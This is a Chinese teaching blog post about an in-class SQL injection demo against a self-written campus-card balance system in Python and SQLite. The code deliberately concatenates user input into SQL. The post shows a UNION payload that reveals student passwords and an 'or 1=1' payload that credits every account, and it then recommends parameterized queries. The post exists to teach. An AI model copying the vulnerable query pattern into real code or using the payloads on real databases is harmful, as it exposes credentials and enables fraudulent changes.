《信息安全与保护》课堂演示——SQL注入

一个信息系统的漏洞可能来自于设计时的缺陷或编码时的错误、逻辑流程上的不合理或程序员为了某种方便而留下的隐患。
自编一个小型一卡通查询充值系统,向学生演示通过SQL注入,可以实现查询学生密码、为所有人充值等手段。渗透信息安全理念,同时引导学生们在编程时注重逻辑流程,以及作为一名开发人员的信息社会责任。本案例使用SQLit3作为数据库,为演示SQL注入,特意采用字符串拼接的形式作为sql语句,正确的参数方式在演示结束后展示给学生。
源代码:

import sqlite3

DATABASE = 'data/datab.db'
with sqlite3.connect(DATABASE) as conn:
    cur = conn.cursor()
    command = input("请输入操作指令:")
    while command != "q":
        if command == "查询":
            cla = input("请输入班级(高二7班、高二10班、高二13班、创新1班):")
            sql = "SELECT sName, balance FROM stu WHERE sCla = '" + cla + "'"
            print(sql)
            cur.execute(sql)
            data = cur.fetchall()
            for row in data:
                print("姓名:",row[0], "   余额:", row[1], "元")
        elif command == "充值":
            name = input("请输入姓名:")
            money = input("请输入充值金额:")
            sql = "UPDATE stu SET balance=balance + " + money + " WHERE sName ='" + name + "'" 
            print(sql)
            cur.execute(sql)
            conn.commit()
            print(name, "充值",money, "元成功!")
        elif command == "q":
            break
        command = input("请输入操作指令:")
conn.close()

测试语句
**1.union查询: **
' union select sName, sPassword from stu --

结果:
sql语句的变化:SELECT sName, balance FROM stu WHERE sCla = '高二7班' union select sName, sPassword from stu --'

中间夹杂的数据123就是密码

**2.update更新: **
丁陈' or 1=1 --

结果:
sql语句的变化:UPDATE stu SET balance=balance + 100 WHERE sName ='丁陈' or 1=1 --'
最后重新进行余额查询,可以看到所有人的余额都增加了100元。

总结反思
1.现在大部分信息系统在进行数据库查询的时候,都采用了参数化查询的形式。参数化查询作为目前预防SQL注入最有效的方法,是指在设计与数据库连接并访问数据时,在需要填入数值或者数据的地方,使用参数(Parameter)来给值,参数化查询目前被视为预防SQL注入最有效的方法,参数化查询是指在设计与数据库连接并访问数据时,在需要填入数值或者数据的地方,使用参数(Parameter)来给值。
2.在编写、开发信息系统等软件时,要充分考虑其安全性。

posted @ 2023-03-01 11:26  一声汪  阅读(55)  评论(0)    收藏  举报